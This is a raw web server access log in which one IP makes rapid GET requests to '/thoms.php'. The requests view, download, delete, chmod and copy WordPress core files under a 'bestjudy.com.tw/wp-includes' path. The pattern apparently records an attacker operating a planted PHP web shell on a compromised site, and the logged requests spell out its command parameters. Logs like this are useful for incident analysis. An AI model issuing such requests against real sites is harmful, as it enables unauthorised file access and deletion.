45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14431 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:58 -0400] "GET /thoms.php?del=cron.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=cron.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12883 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?del=class-pop3.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?chmod=images&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=images&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 200 21900 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?del=formatting.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:40:59 -0400] "GET /thoms.php?dl=query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59239 "http://163.245.207.76:443/thoms.php?dl=query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fupdate.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fupdate.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-image-editor-imagick.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?dl=class-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59223 "http://163.245.207.76:443/thoms.php?dl=class-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=general-template.php HTTP/1.1" 200 63159 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=general-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?chmod=rss.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:00 -0400] "GET /thoms.php?dl=ms-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=ms-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?chmod=php-compat&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-requests.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-requests.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?chmod=class-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17953 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13435 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class.wp-styles.php HTTP/1.1" 200 12100 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?dl=class-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?chmod=abilities-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=abilities-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:01 -0400] "GET /thoms.php?del=class-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-walker.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:02 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:02 -0400] "GET /thoms.php?del=abilities-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59175 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:02 -0400] "GET /thoms.php?dl=class-json.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59214 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:02 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59171 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:02 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:02 -0400] "GET /thoms.php?dl=class-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?chmod=class-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?dl=class-avif-info.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59240 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 200 15373 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?dl=class-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=class-wp-site-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-block.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12629 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?del=build&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=build&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 200 12617 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php HTTP/1.1" 200 15598 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:03 -0400] "GET /thoms.php?dl=l10n.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?del=ms-network.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?chmod=class-wp-term.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?chmod=ms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ms-default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fplugin.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fplugin.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?del=class-wpdb.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:04 -0400] "GET /thoms.php?del=meta.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59190 "http://163.245.207.76:443/thoms.php?del=meta.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?chmod=revision.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?dl=cache-compat.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-IXR.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-simplepie-file.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?dl=class-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59254 "http://163.245.207.76:443/thoms.php?dl=class-wp-exception.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:05 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59203 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsodium_compat&p= HTTP/1.1" 200 12418 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?chmod=default-constants.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=default-constants.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:06 -0400] "GET /thoms.php?del=feed-rdf.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
